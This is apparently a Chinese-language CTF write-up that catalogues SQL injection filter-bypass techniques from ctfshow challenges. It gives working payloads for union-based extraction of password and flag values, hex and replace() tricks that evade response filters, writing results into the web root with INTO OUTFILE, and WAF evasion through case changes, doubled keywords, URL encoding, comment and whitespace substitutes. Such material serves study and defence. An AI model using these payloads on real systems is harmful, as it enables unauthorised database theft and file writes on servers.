SQL注入 各种过滤的绕过姿势总结
回显过滤
这一类的过滤从服务端传回客户端的响应内容
字段值过滤
常量绕过(数字或字符串)
如果对回显内容中不重要的字段的值过滤,可以将其替代为常量,此时回显中该字段的值为字段名的数字或字符串
例如如下payload,将username字段用常量1代替
1' union select 1,password from ctfshow_user2 where username='flag' -- qwe
16进制绕过
如果是对回显内容中字段的值过滤,可以使用hex()将关键词转为十六进制数
例如如下payload
-1' union select id,hex(username),password from ctfshow_user3 where username='flag' -- qwe
replace绕过
replace绕过主要是应对对于回显结果的检测
比如下面的检测
1 | if(!preg_match('/flag|[0-9]/i', json_encode($ret))){ |
我们可以将被过滤的字符串替换为我们指定的字符串,然后将回显结果替换回去
比如上述检测我们可以使用如下replace绕过
首先用replace将回显中的数字替换
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J")
得到回显结果后,将结果使用下面的python脚本复原
1 | Cipher = " " |
导出回显(针对全字符过滤)
当回显中的所有ASCII字符均被过滤时,考虑将回显输出到网站根目录下的txt文件中
例如如下情况:
1 | if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){ |
此时可以利用into语句
payload为-1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt' -- qwe
再访问/ctf.txt
即可
传参(payload)过滤
字段值过滤
16进制绕过
如果是对payload传参内容中目标字段值的过滤,可以将其用对应的十六进制值代替,例如
1 | mysql> select * from users where username = 0x7465737431; |
当单双引号被禁用时,我们也可以将字段值用十六进制值来代替,这样值的位置就从字符串变为十六进制,避免使用引号
通配符绕过(模糊查询)
我们可以使用模糊查询like配合通配符来绕过对字段值的过滤
比如flag被过滤,我们可以构造如下payload
-1'or(username)like'f%
或者-1'or(username)like'%g
关键字过滤
大小写绕过
常用于 waf
的正则表达式对大小写不敏感的情况
例如:waf过滤了关键字select
,可以尝试使用Select
等绕过。
在 SQL 中,关键字和函数名是不用区分字母大小写的,比如 SELECT、WHERE、ORDER、GROUP BY 等关键字,以及 ABS、MOD、ROUND、MAX 等函数名。
改变编码
通过hex、urlencode、url等编码替换关键字中的字符
例如or
可以替换为%6fr
关键字双写
如果过滤器仅查找并移除单个实例的关键字,攻击者可以通过重复关键字来绕过过滤
例如,如果过滤器设计为移除单个的 SELECT
,攻击者可以在注入代码中使用 SESELECTLECT
在某些情况下,解析器在处理这类输入时会忽略中间的重叠部分,从而解析为有效的 SELECT
同样,and
可以替换为aandnd
,or
可以替换为oorr
使用相同功能的符号替换
and
关键字可以替换为&&
or
关键字可以替换为||
舍弃关键字
如果关键字select
被过滤,过滤时也不区分大小写,可以换一种思路来解题
例如将拼接的payload作为原本sql语句的查询条件
空格过滤
注释`//`**
在MySQL中,用
/*注释*/
来标记注释的内容。该绕过的原理是使用注释时会自动在语句中创建一个空格
反引号(只能括表名和字段名)
反引号只能替代字段名、表名前后的空格
例如
1
2
3
4# 替换前
-1'Union Select id,username,password from ctfshow_user where username ='flag' -- qwe
# 替换后
-1'Union/**/Select`id`,`username`,`password`from`ctfshow_user`where`username`='flag'%23括号(仅能括能作为子查询的语句)
如果空格被过滤,括号没有被过滤,可以用括号绕过。
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
1
-1'Union(Select(id),(username),(password)from(ctfshow_user)where(username)='flag')%23
%09
可以使用水平制表符替换空格,tab的url编码为%09
%0a
可以使用换行符替换空格,换行的url编码为%0a
%0b
垂直制表符
%0c
可以使用换页符替换空格,换页符的url编码为%0c
%0d
可以使用回车符替换空格,回车的url编码为%0d
%a0
可以使用不间断空格替换空格,不间断空格的url编码为%a0
注释过滤
SQL注入题最常过滤的就是注释符,所以需要多备一些注释的方法,方便在被过滤时灵活切换
常见注释如下:
--空格
--%0c
#
或%23
/**/
;%00
当注释符都被过滤时,也可以考虑直接闭合后引号
例如and 'a'='a
数字过滤
当payload语句中的0-9
数字被过滤
我们可以尝试使用布尔值true
相加l来构造单个数字,通过concat来拼接多个数字
例如23
可以用concat(true+true,true+true+true)
下面是一个现成的替换脚本
1 | def formatString(str): |
where被过滤
当where
关键字被过滤,且语句中未提供where
关键字时,我们有两种绕过思路
groupby+having替换where+like
关键字
where + like
可以使用group by + having
来替代使用join或right join
在SQL中,
JOIN
语句用于结合两个或多个数据库表中的行。